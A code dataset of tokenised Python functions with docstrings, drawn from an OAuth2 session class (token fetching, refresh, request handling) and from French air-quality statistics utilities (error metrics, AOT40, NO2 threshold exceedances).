{"signature": "def fetch_token(<EOL>self,<EOL>token_url,<EOL>code=None,<EOL>authorization_response=None,<EOL>body=\"<STR_LIT>\",<EOL>auth=None,<EOL>username=None,<EOL>password=None,<EOL>method=\"<STR_LIT:POST>\",<EOL>force_querystring=False,<EOL>timeout=None,<EOL>headers=None,<EOL>verify=True,<EOL>proxies=None,<EOL>include_client_id=None,<EOL>client_secret=None,<EOL>**kwargs<EOL>):", "body": "if not is_secure_transport(token_url):<EOL><INDENT>raise InsecureTransportError()<EOL><DEDENT>if not code and authorization_response:<EOL><INDENT>self._client.parse_request_uri_response(<EOL>authorization_response, state=self._state<EOL>)<EOL>code = self._client.code<EOL><DEDENT>elif not code and isinstance(self._client, WebApplicationClient):<EOL><INDENT>code = self._client.code<EOL>if not code:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" \"<STR_LIT>\"<EOL>)<EOL><DEDENT><DEDENT>if isinstance(self._client, LegacyApplicationClient):<EOL><INDENT>if username is None:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if password is None:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT><DEDENT>if username is not None:<EOL><INDENT>kwargs[\"<STR_LIT:username>\"] = username<EOL><DEDENT>if password is not None:<EOL><INDENT>kwargs[\"<STR_LIT:password>\"] = password<EOL><DEDENT>if auth is not None:<EOL><INDENT>if include_client_id is None:<EOL><INDENT>include_client_id = False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if include_client_id is not True:<EOL><INDENT>client_id = self.client_id<EOL>if client_id:<EOL><INDENT>log.debug(<EOL>'<STR_LIT>'<EOL>\"<STR_LIT>\",<EOL>client_id,<EOL>)<EOL>client_secret = client_secret if client_secret is not None else \"<STR_LIT>\"<EOL>auth = requests.auth.HTTPBasicAuth(client_id, client_secret)<EOL><DEDENT><DEDENT><DEDENT>if include_client_id:<EOL><INDENT>if client_secret is not None:<EOL><INDENT>kwargs[\"<STR_LIT>\"] = client_secret<EOL><DEDENT><DEDENT>body = self._client.prepare_request_body(<EOL>code=code,<EOL>body=body,<EOL>redirect_uri=self.redirect_uri,<EOL>include_client_id=include_client_id,<EOL>**kwargs<EOL>)<EOL>headers = headers or {<EOL>\"<STR_LIT>\": \"<STR_LIT:application/json>\",<EOL>\"<STR_LIT:Content-Type>\": \"<STR_LIT>\",<EOL>}<EOL>self.token = {}<EOL>request_kwargs = {}<EOL>if method.upper() == \"<STR_LIT:POST>\":<EOL><INDENT>request_kwargs[\"<STR_LIT>\" if force_querystring else \"<STR_LIT:data>\"] = dict(<EOL>urldecode(body)<EOL>)<EOL><DEDENT>elif method.upper() == \"<STR_LIT:GET>\":<EOL><INDENT>request_kwargs[\"<STR_LIT>\"] = dict(urldecode(body))<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>r = self.request(<EOL>method=method,<EOL>url=token_url,<EOL>timeout=timeout,<EOL>headers=headers,<EOL>auth=auth,<EOL>verify=verify,<EOL>proxies=proxies,<EOL>**request_kwargs<EOL>)<EOL>log.debug(\"<STR_LIT>\", r.status_code)<EOL>log.debug(\"<STR_LIT>\", r.request.url)<EOL>log.debug(\"<STR_LIT>\", r.request.headers)<EOL>log.debug(\"<STR_LIT>\", r.request.body)<EOL>log.debug(\"<STR_LIT>\", r.headers, r.text)<EOL>log.debug(<EOL>\"<STR_LIT>\",<EOL>len(self.compliance_hook[\"<STR_LIT>\"]),<EOL>)<EOL>for hook in self.compliance_hook[\"<STR_LIT>\"]:<EOL><INDENT>log.debug(\"<STR_LIT>\", hook)<EOL>r = hook(r)<EOL><DEDENT>self._client.parse_request_body_response(r.text, scope=self.scope)<EOL>self.token = self._client.token<EOL>log.debug(\"<STR_LIT>\", self.token)<EOL>return self.token<EOL>", "docstring": "Generic method for fetching an access token from the token endpoint.\n\n        If you are using the MobileApplicationClient you will want to use\n        `token_from_fragment` instead of `fetch_token`.\n\n        The current implementation enforces the RFC guidelines.\n\n        :param token_url: Token endpoint URL, must use HTTPS.\n        :param code: Authorization code (used by WebApplicationClients).\n        :param authorization_response: Authorization response URL, the callback\n                                       URL of the request back to you. Used by\n                                       WebApplicationClients instead of code.\n        :param body: Optional application/x-www-form-urlencoded body to add the\n                     include in the token request. Prefer kwargs over body.\n        :param auth: An auth tuple or method as accepted by `requests`.\n        :param username: Username required by LegacyApplicationClients to appear\n                         in the request body.\n        :param password: Password required by LegacyApplicationClients to appear\n                         in the request body.\n        :param method: The HTTP method used to make the request. Defaults\n                       to POST, but may also be GET. Other methods should\n                       be added as needed.\n        :param force_querystring: If True, force the request body to be sent\n            in the querystring instead.\n        :param timeout: Timeout of the request in seconds.\n        :param headers: Dict to default request headers with.\n        :param verify: Verify SSL certificate.\n        :param proxies: The `proxies` argument is passed onto `requests`.\n        :param include_client_id: Should the request body include the\n                                  `client_id` parameter. Default is `None`,\n                                  which will attempt to autodetect. This can be\n                                  forced to always include (True) or never\n                                  include (False).\n        :param client_secret: The `client_secret` paired to the `client_id`.\n                              This is generally required unless provided in the\n                              `auth` tuple. If the value is `None`, it will be\n                              omitted from the request, however if the value is\n                              an empty string, an empty string will be sent.\n        :param kwargs: Extra parameters to include in the token request.\n        :return: A token dict", "id": "f6413:c1:m12"}
{"signature": "def token_from_fragment(self, authorization_response):", "body": "self._client.parse_request_uri_response(<EOL>authorization_response, state=self._state<EOL>)<EOL>self.token = self._client.token<EOL>return self.token<EOL>", "docstring": "Parse token from the URI fragment, used by MobileApplicationClients.\n\n        :param authorization_response: The full URL of the redirect back to you\n        :return: A token dict", "id": "f6413:c1:m13"}
{"signature": "def refresh_token(<EOL>self,<EOL>token_url,<EOL>refresh_token=None,<EOL>body=\"<STR_LIT>\",<EOL>auth=None,<EOL>timeout=None,<EOL>headers=None,<EOL>verify=True,<EOL>proxies=None,<EOL>**kwargs<EOL>):", "body": "if not token_url:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_secure_transport(token_url):<EOL><INDENT>raise InsecureTransportError()<EOL><DEDENT>refresh_token = refresh_token or self.token.get(\"<STR_LIT>\")<EOL>log.debug(<EOL>\"<STR_LIT>\", self.auto_refresh_kwargs<EOL>)<EOL>kwargs.update(self.auto_refresh_kwargs)<EOL>body = self._client.prepare_refresh_body(<EOL>body=body, refresh_token=refresh_token, scope=self.scope, **kwargs<EOL>)<EOL>log.debug(\"<STR_LIT>\", body)<EOL>if headers is None:<EOL><INDENT>headers = {<EOL>\"<STR_LIT>\": \"<STR_LIT:application/json>\",<EOL>\"<STR_LIT:Content-Type>\": (\"<STR_LIT>\"),<EOL>}<EOL><DEDENT>r = self.post(<EOL>token_url,<EOL>data=dict(urldecode(body)),<EOL>auth=auth,<EOL>timeout=timeout,<EOL>headers=headers,<EOL>verify=verify,<EOL>withhold_token=True,<EOL>proxies=proxies,<EOL>)<EOL>log.debug(\"<STR_LIT>\", r.status_code)<EOL>log.debug(\"<STR_LIT>\", r.headers, r.text)<EOL>log.debug(<EOL>\"<STR_LIT>\",<EOL>len(self.compliance_hook[\"<STR_LIT>\"]),<EOL>)<EOL>for hook in self.compliance_hook[\"<STR_LIT>\"]:<EOL><INDENT>log.debug(\"<STR_LIT>\", hook)<EOL>r = hook(r)<EOL><DEDENT>self.token = self._client.parse_request_body_response(r.text, scope=self.scope)<EOL>if not \"<STR_LIT>\" in self.token:<EOL><INDENT>log.debug(\"<STR_LIT>\")<EOL>self.token[\"<STR_LIT>\"] = refresh_token<EOL><DEDENT>return self.token<EOL>", "docstring": "Fetch a new access token using a refresh token.\n\n        :param token_url: The token endpoint, must be HTTPS.\n        :param refresh_token: The refresh_token to use.\n        :param body: Optional application/x-www-form-urlencoded body to add the\n                     include in the token request. Prefer kwargs over body.\n        :param auth: An auth tuple or method as accepted by `requests`.\n        :param timeout: Timeout of the request in seconds.\n        :param headers: A dict of headers to be used by `requests`.\n        :param verify: Verify SSL certificate.\n        :param proxies: The `proxies` argument will be passed to `requests`.\n        :param kwargs: Extra parameters to include in the token request.\n        :return: A token dict", "id": "f6413:c1:m14"}
{"signature": "def request(<EOL>self,<EOL>method,<EOL>url,<EOL>data=None,<EOL>headers=None,<EOL>withhold_token=False,<EOL>client_id=None,<EOL>client_secret=None,<EOL>**kwargs<EOL>):", "body": "if not is_secure_transport(url):<EOL><INDENT>raise InsecureTransportError()<EOL><DEDENT>if self.token and not withhold_token:<EOL><INDENT>log.debug(<EOL>\"<STR_LIT>\",<EOL>len(self.compliance_hook[\"<STR_LIT>\"]),<EOL>)<EOL>for hook in self.compliance_hook[\"<STR_LIT>\"]:<EOL><INDENT>log.debug(\"<STR_LIT>\", hook)<EOL>url, headers, data = hook(url, headers, data)<EOL><DEDENT>log.debug(\"<STR_LIT>\", self.token)<EOL>try:<EOL><INDENT>url, headers, data = self._client.add_token(<EOL>url, http_method=method, body=data, headers=headers<EOL>)<EOL><DEDENT>except TokenExpiredError:<EOL><INDENT>if self.auto_refresh_url:<EOL><INDENT>log.debug(<EOL>\"<STR_LIT>\",<EOL>self.auto_refresh_url,<EOL>)<EOL>auth = kwargs.pop(\"<STR_LIT>\", None)<EOL>if client_id and client_secret and (auth is None):<EOL><INDENT>log.debug(<EOL>'<STR_LIT>',<EOL>client_id,<EOL>)<EOL>auth = requests.auth.HTTPBasicAuth(client_id, client_secret)<EOL><DEDENT>token = self.refresh_token(<EOL>self.auto_refresh_url, auth=auth, **kwargs<EOL>)<EOL>if self.token_updater:<EOL><INDENT>log.debug(<EOL>\"<STR_LIT>\", token, self.token_updater<EOL>)<EOL>self.token_updater(token)<EOL>url, headers, data = self._client.add_token(<EOL>url, http_method=method, body=data, headers=headers<EOL>)<EOL><DEDENT>else:<EOL><INDENT>raise TokenUpdated(token)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT><DEDENT>log.debug(\"<STR_LIT>\", url, method)<EOL>log.debug(\"<STR_LIT>\", headers, data)<EOL>log.debug(\"<STR_LIT>\", kwargs)<EOL>return super(OAuth2Session, self).request(<EOL>method, url, headers=headers, data=data, **kwargs<EOL>)<EOL>", "docstring": "Intercept all requests and add the OAuth 2 token if present.", "id": "f6413:c1:m15"}
{"signature": "def register_compliance_hook(self, hook_type, hook):", "body": "if hook_type not in self.compliance_hook:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\", hook_type, self.compliance_hook<EOL>)<EOL><DEDENT>self.compliance_hook[hook_type].add(hook)<EOL>", "docstring": "Register a hook for request/response tweaking.\n\n        Available hooks are:\n            access_token_response invoked before token parsing.\n            refresh_token_response invoked before refresh token parsing.\n            protected_request invoked before making a request.\n\n        If you find a new hook is needed please send a GitHub PR request\n        or open an issue.", "id": "f6413:c1:m16"}
{"signature": "def _get_funky(func):", "body": "if isinstance(func, str):<EOL><INDENT>try:<EOL><INDENT>func = getattr(np, func)<EOL><DEDENT>except:<EOL><INDENT>raise NameError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>return func<EOL>", "docstring": "Renvoie une fonction numpy correspondant au nom pass\u00e9 en param\u00e8tre,\n    sinon renvoie la fonction elle-m\u00eame", "id": "f6424:m0"}
{"signature": "def profil_journalier(df, func='<STR_LIT>'):", "body": "func = _get_funky(func)<EOL>res = df.groupby(lambda x: x.hour).aggregate(func)<EOL>return res<EOL>", "docstring": "Calcul du profil journalier\n\nParam\u00e8tres:\ndf: DataFrame de donn\u00e9es dont l'index est une s\u00e9rie temporelle\n    (cf module xair par exemple)\nfunc: function permettant le calcul. Soit un nom de fonction numpy ('mean', 'max', ...)\n    soit la fonction elle-m\u00eame (np.mean, np.max, ...)\nRetourne:\nUn DataFrame de moyennes par heure sur une journ\u00e9e", "id": "f6424:m1"}
{"signature": "def profil_hebdo(df, func='<STR_LIT>'):", "body": "func = _get_funky(func)<EOL>res = df.groupby(lambda x: x.weekday).aggregate(func)<EOL>res.index = [cal.day_name[i] for i in range(<NUM_LIT:0>,<NUM_LIT:7>)]<EOL>return res<EOL>", "docstring": "Calcul du profil journalier\n\nParam\u00e8tres:\ndf: DataFrame de donn\u00e9es dont l'index est une s\u00e9rie temporelle\n    (cf module xair par exemple)\nfunc: function permettant le calcul. Soit un nom de fonction numpy ('mean', 'max', ...)\n    soit la fonction elle-m\u00eame (np.mean, np.max, ...)\nRetourne:\nUn DataFrame de moyennes par journ\u00e9e sur la semaine", "id": "f6424:m2"}
{"signature": "def profil_annuel(df, func='<STR_LIT>'):", "body": "func = _get_funky(func)<EOL>res = df.groupby(lambda x: x.month).aggregate(func)<EOL>res.index = [cal.month_name[i] for i in range(<NUM_LIT:1>,<NUM_LIT>)]<EOL>return res<EOL>", "docstring": "Calcul du profil annuel\n\nParam\u00e8tres:\ndf: DataFrame de donn\u00e9es dont l'index est une s\u00e9rie temporelle\n    (cf module xair par exemple)\nfunc: function permettant le calcul. Soit un nom de fonction numpy ('mean', 'max', ...)\n    soit la fonction elle-m\u00eame (np.mean, np.max, ...)\nRetourne:\nUn DataFrame de moyennes par mois", "id": "f6424:m3"}
{"signature": "def strtime_help():", "body": "print(", "docstring": "Print a help message on the time strptime format", "id": "f6424:m4"}
{"signature": "def find(condition):", "body": "return np.ravel(np.nonzero(condition))<EOL>", "docstring": "Best finding method than matplotlib for timeseries datas", "id": "f6425:m0"}
{"signature": "def df_quantile(df, nb=<NUM_LIT:100>):", "body": "quantiles = np.linspace(<NUM_LIT:0>, <NUM_LIT:1.>, nb)<EOL>res = pd.DataFrame()<EOL>for q in quantiles:<EOL><INDENT>res = res.append(df.quantile(q), ignore_index=True)<EOL><DEDENT>return res<EOL>", "docstring": "Returns the nb quantiles for datas in a dataframe", "id": "f6425:m1"}
{"signature": "def mean(a, rep=<NUM_LIT>, **kwargs):", "body": "return rfunc(a, ma.mean, rep, **kwargs)<EOL>", "docstring": "Compute the average along a 1D array like ma.mean,\n    but with a representativity coefficient : if ma.count(a)/ma.size(a)>=rep,\n    then the result is a masked value", "id": "f6425:m2"}
{"signature": "def max(a, rep=<NUM_LIT>, **kwargs):", "body": "return rfunc(a, ma.max, rep, **kwargs)<EOL>", "docstring": "Compute the max along a 1D array like ma.mean,\n    but with a representativity coefficient : if ma.count(a)/ma.size(a)>=rep,\n    then the result is a masked value", "id": "f6425:m3"}
{"signature": "def min(a, rep=<NUM_LIT>, **kwargs):", "body": "return rfunc(a, ma.min, rep, **kwargs)<EOL>", "docstring": "Compute the min along a 1D array like ma.mean,\n    but with a representativity coefficient : if ma.count(a)/ma.size(a)>=rep,\n    then the result is a masked value", "id": "f6425:m4"}
{"signature": "def rfunc(a, rfunc=None, rep=<NUM_LIT>, **kwargs):", "body": "if float(ma.count(a)) / ma.size(a) < rep:<EOL><INDENT>return ma.masked<EOL><DEDENT>else:<EOL><INDENT>if rfunc is None:<EOL><INDENT>return a<EOL><DEDENT>return rfunc(a, **kwargs)<EOL><DEDENT>", "docstring": "Applies func on a if a comes with a representativity coefficient rep,\n    i.e. ma.count(a)/ma.size(a)>=rep. If not, returns a masked array", "id": "f6425:m5"}
{"signature": "def bias(a, b):", "body": "return np.mean(a - b)<EOL>", "docstring": "Returns the bias between a and b", "id": "f6425:m6"}
{"signature": "def stderr(a, b):", "body": "return np.std(a - b)<EOL>", "docstring": "Returns the standard deviation of the errors between a and b", "id": "f6425:m7"}
{"signature": "def mae(a, b):", "body": "return np.absolute(a - b).mean()<EOL>", "docstring": "Returns the mean absolute error of a and b", "id": "f6425:m8"}
{"signature": "def rmse(a, b):", "body": "return np.sqrt(np.square(a - b).mean())<EOL>", "docstring": "Returns the root mean square error betwwen a and b", "id": "f6425:m9"}
{"signature": "def nmse(a, b):", "body": "return np.square(a - b).mean() / (a.mean() * b.mean())<EOL>", "docstring": "Returns the normalized mean square error of a and b", "id": "f6425:m10"}
{"signature": "def mfbe(a, b):", "body": "return <NUM_LIT:2> * bias(a, b) / (a.mean() + b.mean())<EOL>", "docstring": "Returns the mean fractionalized bias error", "id": "f6425:m11"}
{"signature": "def fa(a, b, alpha=<NUM_LIT:2>):", "body": "return np.sum((a > b / alpha) & (a < b * alpha), dtype=float) / len(a) * <NUM_LIT:100><EOL>", "docstring": "Returns the factor of 'alpha' (2 or 5 normally)", "id": "f6425:m13"}
{"signature": "def foex(a, b):", "body": "return (np.sum(a > b, dtype=float) / len(a) - <NUM_LIT:0.5>) * <NUM_LIT:100><EOL>", "docstring": "Returns the factor of exceedance", "id": "f6425:m14"}
{"signature": "def correlation(a, b):", "body": "diff1 = a - a.mean()<EOL>diff2 = b - b.mean()<EOL>return (diff1 * diff2).mean() / (np.sqrt(np.square(diff1).mean() * np.square(diff2).mean()))<EOL>", "docstring": "Computes the correlation between a and b, says the Pearson's correlation\n    coefficient R", "id": "f6425:m15"}
{"signature": "def determination(a, b):", "body": "return np.square(correlation(a, b))<EOL>", "docstring": "Returns the coefficient of determination between a and b", "id": "f6425:m16"}
{"signature": "def gmb(a, b):", "body": "return np.exp(np.log(a).mean() - np.log(b).mean())<EOL>", "docstring": "Geometric mean bias", "id": "f6425:m17"}
{"signature": "def gmv(a, b):", "body": "return np.exp(np.square(np.log(a) - np.log(b)).mean())<EOL>", "docstring": "Geometric mean variance", "id": "f6425:m18"}
{"signature": "def fmt(a, b):", "body": "return <NUM_LIT:100> * np.min([a, b], axis=<NUM_LIT:0>).sum() / np.max([a, b], axis=<NUM_LIT:0>).sum()<EOL>", "docstring": "Figure of merit in time", "id": "f6425:m19"}
{"signature": "def fullStats(a, b):", "body": "stats = [<EOL>['<STR_LIT>', '<STR_LIT>', bias(a, b)],<EOL>['<STR_LIT>', '<STR_LIT>', stderr(a, b)],<EOL>['<STR_LIT>', '<STR_LIT>', mae(a, b)],<EOL>['<STR_LIT>', '<STR_LIT>', rmse(a, b)],<EOL>['<STR_LIT>', '<STR_LIT>', nmse(a, b)],<EOL>['<STR_LIT>', '<STR_LIT>', mfbe(a, b)],<EOL>['<STR_LIT>', '<STR_LIT>', fa(a, b, <NUM_LIT:2>)],<EOL>['<STR_LIT>', '<STR_LIT>', foex(a, b)],<EOL>['<STR_LIT>', '<STR_LIT>', correlation(a, b)],<EOL>['<STR_LIT>', '<STR_LIT>', determination(a, b)],<EOL>['<STR_LIT>', '<STR_LIT>', gmb(a, b)],<EOL>['<STR_LIT>', '<STR_LIT>', gmv(a, b)],<EOL>['<STR_LIT>', '<STR_LIT>', fmt(a, b)]<EOL>]<EOL>rec = np.rec.fromrecords(stats, names=('<STR_LIT>', '<STR_LIT:description>', '<STR_LIT:result>'))<EOL>df = pd.DataFrame.from_records(rec, index='<STR_LIT>')<EOL>return df<EOL>", "docstring": "Performs several stats on a against b, typically a is the predictions\n    array, and b the observations array\n\n    Returns:\n        A dataFrame of stat name, stat description, result", "id": "f6425:m20"}
{"signature": "def moyennes_glissantes(df, sur=<NUM_LIT:8>, rep=<NUM_LIT>):", "body": "return pd.rolling_mean(df, window=sur, min_periods=rep * sur)<EOL>", "docstring": "Calcule de moyennes glissantes\n\nParam\u00e8tres:\ndf: DataFrame de mesures sur lequel appliqu\u00e9 le calcul\nsur: (int, par d\u00e9faut 8) Nombre d'observations sur lequel s'appuiera le\ncalcul\nrep: (float, d\u00e9faut 0.75) Taux de r\u00e9pr\u00e9sentativit\u00e9 en dessous duquel le\ncalcul renverra NaN\n\nRetourne:\nUn DataFrame des moyennes glissantes calcul\u00e9es", "id": "f6427:m0"}
{"signature": "def consecutive(df, valeur, sur=<NUM_LIT:3>):", "body": "dep = pd.rolling_max(df.where(df > valeur), window=sur, min_periods=sur)<EOL>return dep<EOL>", "docstring": "Calcule si une valeur est d\u00e9pass\u00e9e durant une p\u00e9riode donn\u00e9e. D\u00e9tecte\n    un d\u00e9passement de valeur sur X heures/jours/... cons\u00e9cutifs\n\n    Param\u00e8tres:\n    df: DataFrame de mesures sur lequel appliqu\u00e9 le calcul\n    valeur: (float) valeur \u00e0 chercher le d\u00e9passement (strictement sup\u00e9rieur \u00e0)\n    sur: (int) Nombre d'observations cons\u00e9cutives o\u00f9 la valeur doit \u00eatre d\u00e9pass\u00e9e\n\n    Retourne:\n    Un DataFrame de valeurs, de m\u00eame taille (shape) que le df d'entr\u00e9e, dont toutes\n    les valeurs sont supprim\u00e9es, sauf celles sup\u00e9rieures \u00e0 la valeur de r\u00e9f\u00e9rence\n    et positionn\u00e9es sur les heures de d\u00e9but de d\u00e9passements", "id": "f6427:m1"}
{"signature": "def depassement(df, valeur):", "body": "dep = df.where(df > valeur)<EOL>return dep<EOL>", "docstring": "Calcule les d\u00e9passements d'une valeur.\n\nParam\u00e8tres:\ndf: DataFrame de mesures sur lequel appliqu\u00e9 le calcul\nvaleur: (float) valeur \u00e0 chercher le d\u00e9passement (strictement sup\u00e9rieur \u00e0)\n\nRetourne:\nUn DataFrame de valeurs, de m\u00eame taille (shape) que le df d'entr\u00e9e, dont toutes\nles valeurs sont supprim\u00e9es, sauf celles sup\u00e9rieures \u00e0 la valeur de r\u00e9f\u00e9rence", "id": "f6427:m2"}
{"signature": "def nombre_depassement(df, valeur, freq=None):", "body": "dep = depassement(df, valeur)<EOL>if freq is not None:<EOL><INDENT>dep = dep.resample(freq, how='<STR_LIT>')<EOL><DEDENT>return dep.count()<EOL>", "docstring": "Calcule le nombre de d\u00e9passement d'une valeur sur l'int\u00e9gralit\u00e9 du temps,\nou suivant un regroupement temporel.\n\nParam\u00e8tres:\ndf: DataFrame de mesures sur lequel appliqu\u00e9 le calcul\nvaleur: (float) valeur \u00e0 chercher le d\u00e9passement (strictement sup\u00e9rieur \u00e0)\nfreq: (str ou None): Fr\u00e9quence de temps sur lequel effectu\u00e9 un regroupement.\nfreq peut prendre les valeurs 'H' pour heure, 'D' pour jour, 'W' pour semaine,\n'M' pour mois et 'A' pour ann\u00e9e, ou None pour ne pas faire de regroupement.\nLe nombre de d\u00e9passement sera alors regroup\u00e9 suivant cette fr\u00e9quence de temps.\n\nRetourne:\nUne Series du nombre de d\u00e9passement, total suivant la fr\u00e9quence intrins\u00e8que\ndu DataFrame d'entr\u00e9e, ou agglom\u00e9r\u00e9 suivant la fr\u00e9quence de temps choisie.", "id": "f6427:m3"}
{"signature": "def aot40_vegetation(df, nb_an):", "body": "return _aot(df.tshift(<NUM_LIT:1>), nb_an=nb_an, limite=<NUM_LIT>, mois_debut=<NUM_LIT:5>, mois_fin=<NUM_LIT:7>,<EOL>heure_debut=<NUM_LIT:8>, heure_fin=<NUM_LIT>)<EOL>", "docstring": "Calcul de l'AOT40 du 1er mai au 31 juillet\n\n*AOT40 : AOT 40 ( exprim\u00e9 en micro g/m\u00b3 par heure ) signifie la somme des\ndiff\u00e9rences entre les concentrations horaires sup\u00e9rieures \u00e0 40 parties par\nmilliard ( 40 ppb soit 80 micro g/m\u00b3 ), durant une p\u00e9riode donn\u00e9e en\nutilisant uniquement les valeurs sur 1 heure mesur\u00e9es quotidiennement\nentre 8 heures (d\u00e9but de la mesure) et 20 heures (pile, fin de la mesure) CET,\nce qui correspond \u00e0 de 8h \u00e0 19h TU (donnant bien 12h de mesures, 8h donnant\nla moyenne horaire de 7h01 \u00e0 8h00)\n\nParam\u00e8tres:\ndf: DataFrame de mesures sur lequel appliqu\u00e9 le calcul\nnb_an: (int) Nombre d'ann\u00e9es contenu dans le df, et servant \u00e0 diviser le\nr\u00e9sultat retourn\u00e9\n\nRetourne:\nUn DataFrame de r\u00e9sultat de calcul", "id": "f6427:m4"}
{"signature": "def aot40_foret(df, nb_an):", "body": "return _aot(df.tshift(<NUM_LIT:1>), nb_an=nb_an, limite=<NUM_LIT>, mois_debut=<NUM_LIT:4>, mois_fin=<NUM_LIT:9>,<EOL>heure_debut=<NUM_LIT:8>, heure_fin=<NUM_LIT>)<EOL>", "docstring": "Calcul de l'AOT40 du 1er avril au 30 septembre\n\n*AOT40 : AOT 40 ( exprim\u00e9 en micro g/m\u00b3 par heure ) signifie la somme des\ndiff\u00e9rences entre les concentrations horaires sup\u00e9rieures \u00e0 40 parties par\nmilliard ( 40 ppb soit 80 micro g/m\u00b3 ), durant une p\u00e9riode donn\u00e9e en\nutilisant uniquement les valeurs sur 1 heure mesur\u00e9es quotidiennement\nentre 8 heures et 20 heures (CET) <==> 7h \u00e0 19h TU\n\nParam\u00e8tres:\ndf: DataFrame de mesures sur lequel appliqu\u00e9 le calcul\nnb_an: (int) Nombre d'ann\u00e9es contenu dans le df, et servant \u00e0 diviser le\nr\u00e9sultat retourn\u00e9\n\nRetourne:\nUn DataFrame de r\u00e9sultat de calcul", "id": "f6427:m5"}
{"signature": "def _aot(df, nb_an=<NUM_LIT:1>, limite=<NUM_LIT>, mois_debut=<NUM_LIT:5>, mois_fin=<NUM_LIT:7>,<EOL>heure_debut=<NUM_LIT:7>, heure_fin=<NUM_LIT>):", "body": "res = df[(df.index.month >= mois_debut) & (df.index.month <= mois_fin) &<EOL>(df.index.hour >= heure_debut) & (df.index.hour <= heure_fin)]<EOL>nb_valid = res.count()<EOL>nb_total = res.shape[<NUM_LIT:0>]<EOL>pcent = nb_valid.astype(pd.np.float) / nb_total * <NUM_LIT:100><EOL>brut = (res[res > limite] - limite) / nb_an<EOL>brut = brut.sum()<EOL>net = brut / nb_valid * nb_total<EOL>print(\"\"\"<STR_LIT>\"\"\".format(total=nb_total,<EOL>m_d=mois_debut, m_f=mois_fin,<EOL>h_d=heure_debut, h_f=heure_fin<EOL>)<EOL>)<EOL>aot = pd.DataFrame([brut.round(), nb_valid.round(), pcent.round(), net.round()],<EOL>index=['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>return aot<EOL>", "docstring": "Calcul de l'AOT de mani\u00e8re param\u00e8trable. Voir AOT40_vegetation ou\nAOT40_foret pour des param\u00e8tres pr\u00e9alablement fix\u00e9s.\n\nParam\u00e8tres:\ndf: DataFrame de mesures sur lequel appliqu\u00e9 le calcul\nnb_an: (int) Nombre d'ann\u00e9es contenu dans le df, et servant \u00e0 diviser le\nr\u00e9sultat retourn\u00e9\nlimite: (float) valeur limite au del\u00e0 de laquelle les diff\u00e9rences seront\n    additionn\u00e9es pour calculer l'AOT\nmois_debut: (int) mois de d\u00e9but de calcul\nmois_fin: (int) mois de fin de calcul\nheure_debut: (int) premi\u00e8re heure de chaque jour apr\u00e8s laquelle les valeurs\n    sont retenues\nheure_fin: (int) derni\u00e8re heure de chaque jour avant laquelle les valeurs\n    sont retenues\n\nRetourne:\nUn DataFrame de r\u00e9sultat de calcul", "id": "f6427:m6"}
{"signature": "def compresse(df):", "body": "return df.dropna(how='<STR_LIT:all>')<EOL>", "docstring": "Compresse un DataFrame en supprimant les lignes dont toutes les Valeurs\n(colonnes) sont vides. Si au moins une valeur est pr\u00e9sente sur la ligne, alors\nelle est conserv\u00e9e.\n\nParam\u00e8tres:\ndf: DataFrame a pr\u00e9senter\n\nRetourne:\nUn DataFrame r\u00e9duit \u00e0 son strict minimum", "id": "f6427:m7"}
{"signature": "def no2(df):", "body": "polluant = \"<STR_LIT>\"<EOL>if not isinstance(df.index.freq, pdoffset.Hour):<EOL><INDENT>raise FreqException(\"<STR_LIT>\")<EOL><DEDENT>res = {\"<STR_LIT>\": depassement(df, valeur=<NUM_LIT:200>),<EOL>\"<STR_LIT>\": consecutive(df, valeur=<NUM_LIT>, sur=<NUM_LIT:3>),<EOL>\"<STR_LIT>\": consecutive(df.resample('<STR_LIT:D>', how='<STR_LIT>'), valeur=<NUM_LIT:200>, sur=<NUM_LIT:3>),<EOL>\"<STR_LIT>\": depassement(df, valeur=<NUM_LIT:200>),<EOL>\"<STR_LIT>\": depassement(df.resample('<STR_LIT:A>', how='<STR_LIT>'),<EOL>valeur=<NUM_LIT>),<EOL>\"<STR_LIT>\": depassement(df.resample('<STR_LIT:A>', how='<STR_LIT>'), valeur=<NUM_LIT>),<EOL>\"<STR_LIT>\": depassement(df.resample('<STR_LIT:A>', how='<STR_LIT>'), valeur=<NUM_LIT:30>),<EOL>}<EOL>return polluant, res<EOL>", "docstring": "Calculs r\u00e9glementaires pour le dioxyde d'azote\n\nParam\u00e8tres:\ndf: DataFrame contenant les mesures, avec un index temporel\n(voir xair.get_mesure)\n\nRetourne:\nUne s\u00e9rie de r\u00e9sultats dans un DataFrame :\n******\nunit\u00e9 (u): \u00b5g/m3 (microgramme par m\u00e8tre cube)\n\nSeuil de RI en moyenne H: 200u\nSeuil d'Alerte sur 3H cons\u00e9cutives: 400u\nSeuil d'Alerte sur 3J cons\u00e9cutifs: 200u\nValeur limite pour la sant\u00e9 humaine 18H/A: 200u\nValeur limite pour la sant\u00e9 humaine en moyenne A: 40u\nObjectif de qualit\u00e9 en moyenne A: 40u\nProtection de la v\u00e9g\u00e9tation en moyenne A: 30u\n\nLes r\u00e9sultats sont donn\u00e9s en terme d'heure de d\u00e9passement", "id": "f6427:m8"}
